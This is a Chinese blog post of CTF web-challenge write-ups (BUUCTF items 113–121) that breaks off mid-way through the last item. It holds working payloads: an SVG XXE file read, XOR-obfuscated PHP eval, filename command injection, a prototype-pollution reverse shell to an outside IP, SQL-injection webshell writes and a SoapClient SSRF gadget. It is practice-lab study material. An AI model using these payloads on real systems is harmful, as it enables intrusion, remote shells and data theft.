Z1d10tのBlog

A note for myself,have fun!

  1. 1. 113、[HarekazeCTF2019]Avatar Uploader 1
  2. 2. 114、[BSidesCF 2019]SVGMagic
  3. 3. 115、[ISITDTU 2019]EasyPHP
  4. 4. 116、[FireshellCTF2020]Caas
  5. 5. 117、[N1CTF 2018]eating_cms
  6. 6. 118、[强网杯 2019]Upload
  7. 7. 119、[GYCTF2020]Ez_Express
  8. 8. 120、[SUCTF 2018]MultiSQL
    1. 8.1. 第一种char()写🐎
    2. 8.2. 第二种 hex()搭配十六进制写🐎
  9. 9. 121、bestphp’s revenge
    1. 9.1. call_user_func()
    2. 9.2. php session反序列化机制
    3. 9.3. SoapClient
  10. 10. 122、[安洵杯 2019]不是文件上传
  11. 11. 123、[羊城杯2020]easyphp
  12. 12. 124、[GXYCTF2019]BabysqliV3.0
    1. 12.1. 分析:
    2. 12.2. 非预期:
    3. 12.3. 预期解:

buu刷题(page 4-2)

越来越复杂 越来越吃力了 –^–

113、[HarekazeCTF2019]Avatar Uploader 1

一道挺有趣的题目

img

登录一下 让我们上传头像 并且图片格式为png 并且大小小于256x256

ok 这道题目我其实最大的疑惑是源码怎么来的 也许只是buu没给源码?

直接来看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);

require_once('config.php');
require_once('lib/util.php');
require_once('lib/session.php');

$session = new SecureClientSession(CLIENT_SESSION_ID, SECRET_KEY);

// check whether file is uploaded
if (!file_exists($_FILES['file']['tmp_name']) || !is_uploaded_file($_FILES['file']['tmp_name'])) {
error('No file was uploaded.');
}

// check file size
if ($_FILES['file']['size'] > 256000) {
error('Uploaded file is too large.');
}

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);//获取文件MIME类型
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

// ok
$filename = bin2hex(random_bytes(4)) . '.png';
move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_DIR . '/' . $filename);

$session->set('avatar', $filename);
flash('info', 'Your avatar has been successfully updated!');
redirect('/');

最重要的是这两部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);//获取文件MIME类型
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}




// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

第一部分通过 finfo_file()来获取mine信息 要求我们上传的是png图片

第二部分getimagesize()来获取大小并且不只是大小还有其他图片信息 这个函数会返回一个包含图片信息的数组

img

1
2
3
4
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

并且又要求getimagesize()获取到图片信息中不能为png图片 这样才会给我们flag

所以总结一下就是要求我们 finfo_file()获取到mine为png图片 但是getimagesize()获取到图片信息又不能为png图片

所以这样很明显我们需要绕过getimagesize()也就是让$size[2] !== IMAGETYPE_PNG这个条件成立

问一下gpt

img

我们可以让getimagesize()函数在获取图片信息的时候让其出错 从而使得这个条件成立 成功bypass

随便找一个符合其他条件的png 图片

img

将除了第一行以外的其他信息全部删除生成一张png图片

img

这样只有文件头部是正常的getimagesize()获取不到图片的其他信息从而出错

成功!

img

114、[BSidesCF 2019]SVGMagic

SVG是Scalable Vector Graphics的缩写,意为可缩放向量图形。它是一种使用XML描述2D图形的图像文件格式。

也就是说SVG是XML文件

那么说到xml 立马就能想到xxe 如果我们在svg图像中插入xxe恶意代码呢

直接偷师傅的payload:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

这里要注意的是:

一般我们进行xxe的时候,定义了外部实体还要通过&来调用这个实体,但是这道题目不需要 只需要上传上去之后他会执行 然后再把结果反馈到png图像中 可能这就是render的魅力吧:)

这道题目flag文件不知道在哪里

/proc/self/cwd表示当前路径 /proc/self/root表示的是/根目录

img

115、[ISITDTU 2019]EasyPHP

一道奇淫rce构造rce的题目 其实就是异或构造+无参rce

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

正则waf了这些

img

再来看看这部分:

1
2
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

strtolower:将我们输入的内容转为小写

count_chars:返回字符串所用字符的信息

img

这里模式为3所以返回所有使用了的字节值组成的字符串

strlen:获取字符串长度

所以整个这一部分就是计算我们输入字符串字符类型个数 获取我们总共输入了几种字符

看了这道题的wp 主要是很麻烦 核心就是通过异或来构造webshell

这里有个小tips 一般我们构造异或payload的时候都是与%ff异或来获取字符的

一个简单的demo理解异或构造

1
2
3
4
5
6
7
8
9
10
php > var_dump(@a^"1");
string(1) "P"
php > echo ord("a");
97
php > echo ord("1");
49
php > echo 97^49;
80
php > echo chr(80);
P

那么问题是97^49为什么是80呢

其实是十进制先转为二进制 然后两个数的每一位二进制之间进行异或得到的数再转为十进制就是结果

1
2
3
01100001 #97二进制
00110001 #49二进制
01010000 #按位异或

可见这个结果就是十进制的80

img

看了这篇文章还是很不错的https://xz.aliyun.com/t/5677#toc-1

里面还有通过非来进行构造数字payload 真的tql

1
2
3
4
5
6
<?php
var_dump(@'a');
var_dump(@!'a');
var_dump(@!!'a');
var_dump(@!!'a'+@!!'a');
?>

img

成功构造出数字2

然后这道题目就是会限制我们的字符类型要在13以内 就是要去找别的字符来减少payload 这点很麻烦

其次就是无参rce

构造print_r(scandir(.))来找flag文件

paylaod:((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))(((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff));但是里面的字符类型超过13了

利用已经存在的字符异或来替换减少字符类型

查找可以替换的字符

a = c^p^r

d = s^c^t

n = i^s^t

每个替换字符再与%ff异或一下

得到:

img

最后构造:

1
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

发现flag文件

img

再构造: readfile(end(scandir(.))) 思路和上面一样

payload:((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));

参考:https://www.shawroot.cc/1209.html payload都是偷的这个大佬的qaq

116、[FireshellCTF2020]Caas

一个c语言文件包含的题目 新奇

一开始以为是php环境或者python 然后搜索报错信息之后返现是c语言

img

payload:#include "/flag"

117、[N1CTF 2018]eating_cms

考点:parse_url解析漏洞

首先在/register.php下申请一个账号 老套路了 然后登录

然后看了下请求的网址 很像任意文件读取url

1
/user.php?page=php://filter/read=convert.base64-encode/resource=info

用伪协议读一下 得到以下内容

index.php

1
2
3
4
5
6
7
8
9
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?>

user.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");

}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>

info.php

1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/info.html";
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}


function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}

function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}

function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}

function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}

function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}

function logout()
{
session_destroy();
Header("Location: index.php");
}

?>

config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?>

代码审计一下没发现什么不对的 我以为是sql注入

但是看了wp 发现是我没学到的知识点

其他文件没有什么 直接来看重要的function.php

定位到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}

发现存在parse_url解析漏洞

img

img

可以借助一个demo来理解

img

parse_url()会把//认为是相对路径

于是当我们在路径前多输入一个/,会使这个函数失效,这样就绕过了检测

如果我们直接输入/user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg会被检测

但是在前面多加一个/成功读到了源码

1
2
3
4
5
6
7
8
//user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>

利用伪协议读源码

然后得到

1
2
3
4
5
6
7
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";

?>

访问/templates/upload.html

但是是个假的上传点

img

随便上传一个文件之后会报错并且发现存在/upllloadddd.php

然后利用前面的伪协议获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>

直接定位到这一行代码

1
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

发现存在文件上传名漏洞 可以修改文件名闭合命令执行

但是真正的上传点在哪呢 看了wp

1
/user.php?page=m4aaannngggeee

img

由于不能让move_uploaded_file报错,文件名里不能有/这种路径字符

1
2
3
4
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}

所以如果我们执行命令 ls /这样 那么就会die出去 没有回显 难怪我一开始一直在这里困惑

翻别人的博客看wp真是一件美事啊:)

1
;cd ..;ls;#

img

1
;cd ..;cat flag_233333;#

img

118、[强网杯 2019]Upload

又要代码审计先留着

119、[GYCTF2020]Ez_Express

一道js的原型链污染+ssti的组合题目 挺不错的

首先访问主页 他让我们用ADMIN 登录 然后存在一个源码泄露

/www.zip下到源码

放一下重要的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

看到了我们的老朋友 merge() 呢就肯定存在原型链污染

顺着看逻辑 首先是登陆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});

'user':req.body.userid.toUpperCase()这里存在一个把我们名字转为大写的操作

其实考了javascript大小写特性

在js中 有一种类字符 比如admın看起来像我们平常的admin 但是他的ı字符并不是我们常用的i 但是经过这个toUpperCase()函数之后 就会变为大写的I 那么就可以bypass了 当然也会存在转小写的操作 都是一个思路

参考:https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

注册admın 然后登录就用ADMIN 成功登录

然后到了/action路由

1
2
3
4
5
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

req.session.user.data = clone(req.body);这一条语句用到了我们的原型链污染

那么应该污染谁呢 暂且放着

再来看/info路由

1
2
3
4
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

又是老朋友render 看到他就想到ssti

可以看到如果我们能控制utputFunctionName这个参数我们就可以进行ssti了

跟踪一下 竟然发现这个变量没有定义

img

这就很诡异了 所以我们可以在/action路由下对他进行原型链污染 然后在/info 对他进行ssti 这样就能getshell了

请求包paylaod:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /action HTTP/1.1
Host: a041d509-23fe-47c0-8d98-0f5b4ac46eaf.node4.buuoj.cn:81
Content-Length: 178
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a041d509-23fe-47c0-8d98-0f5b4ac46eaf.node4.buuoj.cn:81
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://a041d509-23fe-47c0-8d98-0f5b4ac46eaf.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __gads=ID=2a013f3dde9ad985-2254f58cafe700cf:T=1689741221:RT=1689742200:S=ALNI_Maqp-fX6ej98tcXJHWIvb4mWhQdSg; __gpi=UID=00000c2221d9f3e8:T=1689741221:RT=1689742200:S=ALNI_MZMzVabCNghJHJfa6k9qDxOuQgInA; session=s%3A3n0kVmpVgibTGbZVYa8G39JKQSWntKeb.vA90xq%2FPvNzD14nbbu%2BW1WAfLwNX6o9st2OOFs%2Bgyqc
Connection: close

{"Submit":"","lua":"","__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.130.34.53/7777 0>&1\"')"}}

这里要注意就是我们提交的payload形式一定要是json格式的 Content-Type: application/json

然后我这里是用反弹shell

访问/info 成功

img

120、[SUCTF 2018]MultiSQL

考点:mysql预编译 复习一下旧知识 都好久了 忘了

看标题就是sql注入

首先在注册的时候就多加个' 看看会怎样 一般这里可能会存在二次注入之类的

发现被转义了 作罢

img

点用户信息发现url不对劲

img

感觉这里存在sql注入

fuzz 发现过滤了union,select ,&,| 那么我们一般的select查询就不要想了

然后这道题目其实考察的是堆叠注入

然后搭配预编译写🐎

有两种方式 一种是用char()写🐎 另一种是16进制搭配hex()函数写🐎

在做这道题目之前还从来没在sql注入的时候写过🐎 属于是第一次见了

首先是预编译 在很早以前 做buu题目的时候就见过预编译

首先是set @A=sql语句;prepare B from @A;execute B;格式就是如此

这里的sql语句就是我们要在mysql中写一句话木马的语句 如下格式

其实我最懵逼的就是这个路径为什么要在/favicon下 很奇怪 为什么 直接在/var/www/html就不行 看了很多wp 就是没提及这一点 之后在神の的wp中 发现是题目可以扫到一个这个目录 真夸张 御剑的字典没这个目录 如果真在比赛中做 我百分之百做不出来

1
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/favicon/shell.php';

img

第一种char()写🐎

原理:

img

就是利用char函数 bypass 对select等字符的限制

随便写个脚本 跑一下就行了

img

payload:

select '<?php eval($_POST[x]);?>' into outfile '/var/www/html/favicon/1.php'; 转成对应的ascii编码的字符 然后搭配预编译打入即可

第二种 hex()搭配十六进制写🐎

payload和上面一样只不过 这里转为16进制就行了

img

原理:

img

payload:

1
2
select '<?php eval($_POST[x]);?>' into outfile '/var/www/html/favicon/1.php';
set @A=0x73656C65637420273C3F706870206576616C28245F504F53545B636D645D293B3F3E2720696E746F206F757466696C6520272F7661722F7777772F68746D6C2F66617669636F6E2F7368656C6C2E706870273B;prepare B from @A;execute B;

121、bestphp’s revenge

啊啊啊啊 又是信息爆炸的一题 真是一题比一题炸裂 一天做一题弄明白脑子就已经炸了

一共有两个文件

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

1
2
3
4
5
6
7
only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

看flag.php 我们需要本地访问才能拿到flag

但是我们直接通过xff修改ip获取不到 这里就很像之前做的一道题目

要通过ssrf 打才行

来分析一下index.php

call_user_func()

首先是一个call_user_func() 第一个参数作为回调函数执行 第二个参数作为回调函数的参数传入

但是这里一开始我在想为什么不直接通过system()当回调函数 直接进行命令执行

后来发现$_POST只能以键值 也就是A=B的形式传入才行

只传入一个A是post不上去的 所以A=B的形式肯定不符合call_user_func()第二个参数无果

除此之外 这个函数不仅仅只能传入函数 还可以通过数组包含类的方式执行类的方法

如下:

img

把第一个值当作类名,第二个值当作方法进行回调

php session反序列化机制

其次是php session反序列化机制 https://blog.spoock.com/2016/10/16/php-serialize-problem/ 具体可参考这个文章 这个师傅写的很详细

之前在ctfshow 刷题的时候也遇到了

1
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

一共有三种

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

存储机制:

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

当序列化的引擎和反序列化的引擎不一致时,就可以利用引擎之间的差异产生序列化注入漏洞。

例如传入$_SESSION['name']='|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}';

序列化引擎使用的是php_serialize,那么储存的session文件为

1
a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}

而反序列化引擎如果使用的是php,就会把|作为作为key和value的分隔符。把a:1:{s:4:"name";s:5:"当作键名,而把O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。

SoapClient

再就是到可以ssrf的类 之前刷ctfshow的题目时候就遇到曾经用过这个类 SoapClient 它可以发送http请求包

利用php原生类SoapClient中的__call方法进行SSRF

在新建一个SoapClient的类对象的时候,需要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options。而wsdl在开发中十分常见,在安全中用的比较少 ,并且这里也用不到,所以设为null就行了。

img

构造序列化字符串:

1
2
3
4
5
6
7
<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
echo "|" . urlencode($a);
?>
|O%3A10%3A%22SoapClient%22%3A36%3A%7Bs%3A15%3A%22%00SoapClient%00uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A17%3A%22%00SoapClient%00style%22%3BN%3Bs%3A15%3A%22%00SoapClient%00use%22%3BN%3Bs%3A20%3A%22%00SoapClient%00location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A17%3A%22%00SoapClient%00trace%22%3Bb%3A0%3Bs%3A23%3A%22%00SoapClient%00compression%22%3BN%3Bs%3A15%3A%22%00SoapClient%00sdl%22%3BN%3Bs%3A19%3A%22%00SoapClient%00typemap%22%3BN%3Bs%3A22%3A%22%00SoapClient%00httpsocket%22%3BN%3Bs%3A19%3A%22%00SoapClient%00httpurl%22%3BN%3Bs%3A18%3A%22%00SoapClient%00_login%22%3BN%3Bs%3A21%3A%22%00SoapClient%00_password%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_use_digest%22%3Bb%3A0%3Bs%3A19%3A%22%00SoapClient%00_digest%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_proxy_host%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_proxy_port%22%3BN%3Bs%3A24%3A%22%00SoapClient%00_proxy_login%22%3BN%3Bs%3A27%3A%22%00SoapClient%00_proxy_password%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_exceptions%22%3Bb%3A1%3Bs%3A21%3A%22%00SoapClient%00_encoding%22%3BN%3Bs%3A21%3A%22%00SoapClient%00_classmap%22%3BN%3Bs%3A21%3A%22%00SoapClient%00_features%22%3BN%3Bs%3A31%3A%22%00SoapClient%00_connection_timeout%22%3Bi%3A0%3Bs%3A27%3A%22%00SoapClient%00_stream_context%22%3Bi%3A0%3Bs%3A23%3A%22%00SoapClient%00_user_agent%22%3BN%3Bs%3A23%3A%22%00SoapClient%00_keep_alive%22%3Bb%3A1%3Bs%3A23%3A%22%00SoapClient%00_ssl_method%22%3BN%3Bs%3A25%3A%22%00SoapClient%00_soap_version%22%3Bi%3A1%3Bs%3A22%3A%22%00SoapClient%00_use_proxy%22%3BN%3Bs%3A20%3A%22%00SoapClient%00_cookies%22%3Ba%3A0%3A%7B%7Ds%3A29%3A%22%00SoapClient%00__default_headers%22%3BN%3Bs%3A24%3A%22%00SoapClient%00__soap_fault%22%3BN%3Bs%3A26%3A%22%00SoapClient%00__last_request%22%3BN%3Bs%3A27%3A%22%00SoapClient%00__last_response%22%3BN%3Bs%3A34%3A%22%00SoapClient%00__last_request_headers%22%3BN%3Bs%3A35%3A%22%00SoapClient%00__last_response_headers%22%3BN%3B%7D

至于这一行$b = new SoapClient(null, array('uri' => $url, 'location' => $url));

img

本题的思路:

